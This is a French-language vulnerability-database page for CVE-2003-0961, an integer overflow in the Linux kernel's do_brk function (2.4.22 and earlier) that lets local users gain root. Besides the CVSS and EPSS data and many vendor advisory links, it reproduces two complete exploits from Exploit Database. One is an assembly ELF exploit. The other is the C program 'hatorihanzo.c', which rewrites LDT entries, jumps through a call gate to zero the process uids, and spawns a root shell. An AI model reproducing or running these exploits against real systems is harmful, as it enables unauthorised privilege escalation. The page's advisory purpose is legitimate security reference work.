CVE-2003-0961 : Détail

CVE-2003-0961

1.42%V4
Local
2003-12-02
04h00 +00:00
2016-10-17
11h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Integer overflow in the do_brk function for the brk system call in Linux kernel 2.4.22 and earlier allows local users to gain root privileges.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 129

Date de publication : 2003-12-01 23h00 +00:00
Auteur : Christophe Devine
EDB Vérifié : Yes

; E-DB Note: Updated Exploit ~ https://www.exploit-db.com/exploits/131/ ; ; Christophe Devine (devine at cr0.net) and Julien Tinnes (julien at cr0.org) ; ; This exploit uses sys_brk directly to expand his break and doesn't rely ; on the ELF loader to do it. ; ; To bypass a check in sys_brk against available memory, we use a high ; virtual address as base address ; ; In most case (let's say when no PaX w/ ASLR :) we have to move the stack ; so that we can expand our break ; BITS 32 org 0xBFFF0000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1 ; e_ident times 9 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 2 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 7 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: ; ** Make sure the stack is not above us mov eax, 163 ; mremap mov ebx, esp and ebx, ~(0x1000 - 1) ; align to page size mov ecx, 0x1000 ; we suppose stack is one page only mov edx, 0x9000 ; be sure it can't get mapped after ; us mov esi,1 ; MREMAP_MAYMOVE int 0x80 and esp, (0x1000 - 1) ; offset in page add esp, eax ; stack ptr to new location ; nb: we don't fix ; pointers so environ/cmdline ; are not available mov eax,152 ; mlockall (for tests as root) mov ebx,2 ; MCL_FUTURE int 0x80 ; get VMAs for the kernel memory mov eax,45 ; brk mov ebx,0xC0500000 int 0x80 mov ecx, 4 loop0: mov eax, 2 ; fork int 0x80 loop loop0 _idle: mov eax,162 ; nanosleep mov ebx,timespec int 0x80 jmp _idle timespec dd 10,0 filesize equ $ - $$ ; milw0rm.com [2003-12-02]
Exploit Database EDB-ID : 131

Date de publication : 2003-12-04 23h00 +00:00
Auteur : Wojciech Purczynski
EDB Vérifié : Yes

/* * hatorihanzo.c * Linux kernel do_brk vma overflow exploit. * * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl> * * Further research and exploit development by * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz. * * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved. * * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE * OF PRESENTED CODE IS STRICTLY PROHIBITED. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <paths.h> #include <grp.h> #include <setjmp.h> #include <stdint.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/ucontext.h> #include <sys/wait.h> #include <asm/ldt.h> #include <asm/page.h> #include <asm/segment.h> #include <linux/unistd.h> #include <linux/linkage.h> #define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB #define MAGIC 0xdefaced /* I should've patented this number -cliph */ #define ENTRY_MAGIC 0 #define ENTRY_GATE 2 #define ENTRY_CS 4 #define ENTRY_DS 6 #define CS ((ENTRY_CS << 2) | 4) #define DS ((ENTRY_DS << 2) | 4) #define GATE ((ENTRY_GATE << 2) | 4 | 3) #define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE) #define TOP_ADDR 0xFFFFE000U /* configuration */ unsigned task_size; unsigned page; uid_t uid; unsigned address; int dontexit = 0; void fatal(char * msg) { fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno)); if (dontexit) { fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n"); kill(getpid(), SIGSTOP); for (;;) pause(); } exit(EXIT_FAILURE); } void configure(void) { unsigned val; task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB; uid = getuid(); } void expand(void) { unsigned top = (unsigned) sbrk(0); unsigned limit = address + PAGE_SIZE; do { if (sbrk(PAGE_SIZE) == NULL) fatal("Kernel seems not to be vulnerable"); dontexit = 1; top += PAGE_SIZE; } while (top < limit); } jmp_buf jmp; #define MAP_NOPAGE 1 #define MAP_ISPAGE 2 void sigsegv(int signo, siginfo_t * si, void * ptr) { struct ucontext * uc = (struct ucontext *) ptr; int error_code = uc->uc_mcontext.gregs[REG_ERR]; (void)signo; (void)si; error_code = MAP_NOPAGE + (error_code & 1); longjmp(jmp, error_code); } void prepare(void) { struct sigaction sa; sa.sa_sigaction = sigsegv; sa.sa_flags = SA_SIGINFO | SA_NOMASK; sigemptyset(&sa.sa_mask); sigaction(SIGSEGV, &sa, NULL); } int testaddr(unsigned addr) { int val; val = setjmp(jmp); if (val == 0) { asm ("verr (%%eax)" : : "a" (addr)); return MAP_ISPAGE; } return val; } #define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE) #define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned)) #define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0) void map(unsigned * map) { unsigned addr = task_size; unsigned bit = 1; prepare(); while (addr < TOP_ADDR) { if (testaddr(addr) == MAP_ISPAGE) *map |= bit; addr += PAGE_SIZE; next(map, bit); } signal(SIGSEGV, SIG_DFL); } void find(unsigned * m) { unsigned addr = task_size; unsigned bit = 1; unsigned count; unsigned tmp; prepare(); tmp = address = count = 0U; while (addr < TOP_ADDR) { int val = testaddr(addr); if (val == MAP_ISPAGE && (*m & bit) == 0) { if (!tmp) tmp = addr; count++; } else { if (tmp && count == LDT_PAGES) { errno = EAGAIN; if (address) fatal("double allocation\n"); address = tmp; } tmp = count = 0U; } addr += PAGE_SIZE; next(m, bit); } signal(SIGSEGV, SIG_DFL); if (address) return; errno = ENOTSUP; fatal("Unable to determine kernel address"); } int modify_ldt(int, void *, unsigned); void ldt(unsigned * m) { struct modify_ldt_ldt_s l; map(m); memset(&l, 0, sizeof(l)); l.entry_number = LDT_ENTRIES - 1; l.seg_32bit = 1; l.base_addr = MAGIC >> 16; l.limit = MAGIC & 0xffff; if (modify_ldt(1, &l, sizeof(l)) == -1) fatal("Unable to set up LDT"); l.entry_number = ENTRY_MAGIC / 2; if (modify_ldt(1, &l, sizeof(l)) == -1) fatal("Unable to set up LDT"); find(m); } asmlinkage void kernel(unsigned * task) { unsigned * addr = task; /* looking for uids */ while (addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid) addr++; addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */ addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */ addr[8] = 0; /* looking for vma */ for (addr = (unsigned *) task_size; addr; addr++) { if (addr[0] >= task_size && addr[1] < task_size && addr[2] == address && addr[3] >= task_size) { addr[2] = task_size - PAGE_SIZE; addr = (unsigned *) addr[3]; addr[1] = task_size - PAGE_SIZE; addr[2] = task_size; break; } } } void kcode(void); #define __str(s) #s #define str(s) __str(s) void __kcode(void) { asm( "kcode: \n" " pusha \n" " pushl %es \n" " pushl %ds \n" " movl $(" str(DS) ") ,%edx \n" " movl %edx,%es \n" " movl %edx,%ds \n" " movl $0xffffe000,%eax \n" " andl %esp,%eax \n" " pushl %eax \n" " call kernel \n" " addl $4, %esp \n" " popl %ds \n" " popl %es \n" " popa \n" " lret \n" ); } void knockout(void) { unsigned * addr = (unsigned *) address; if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1) fatal("Unable to change page protection"); errno = ESRCH; if (addr[ENTRY_MAGIC] != MAGIC) fatal("Invalid LDT entry"); /* setting call gate and privileged descriptors */ addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU); addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U; addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */ addr[ENTRY_CS+1] = 0x00cf9a00U; addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */ addr[ENTRY_DS+1] = 0x00cf9200U; prepare(); if (setjmp(jmp) != 0) { errno = ENOEXEC; fatal("Unable to jump to call gate"); } asm("lcall $" str(GATE) ",$0x0"); /* this is it */ } void shell(void) { char * argv[] = { _PATH_BSHELL, NULL }; execve(_PATH_BSHELL, argv, environ); fatal("Unable to spawn shell\n"); } void remap(void) { static char stack[8 MB]; /* new stack */ static char * envp[] = { "PATH=" _PATH_STDPATH, NULL }; static unsigned * m; static unsigned b; m = (unsigned *) sbrk(map_size); if (!m) fatal("Unable to allocate memory"); environ = envp; asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack))); b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK; if (munmap((void*)b, task_size - b) == -1) fatal("Unable to unmap stack"); while (b < task_size) { if (sbrk(PAGE_SIZE) == NULL) fatal("Unable to expand BSS"); b += PAGE_SIZE; } ldt(m); expand(); knockout(); shell(); } int main(void) { configure(); remap(); return EXIT_FAILURE; } // milw0rm.com [2003-12-05]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.4.22

Références

http://marc.info/?l=bugtraq&m=107064830206816&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://secunia.com/advisories/10330
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2004/dsa-433
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-423
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.kb.cert.org/vuls/id/301156
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.debian.org/security/2004/dsa-450
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2003-389.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2004/dsa-440
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.mandriva.com/security/advisories?name=MDKSA-2003:110
Tags : vendor-advisory, x_refsource_MANDRAKE
http://marc.info/?l=bugtraq&m=107394143105081&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000796
Tags : vendor-advisory, x_refsource_CONECTIVA
http://www.redhat.com/support/errata/RHSA-2003-368.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/10328
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/10329
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2004/dsa-439
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-475
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/10338
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/10333
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=107064798706473&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.debian.org/security/2004/dsa-417
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2003/dsa-403
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-442
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-470
Tags : vendor-advisory, x_refsource_DEBIAN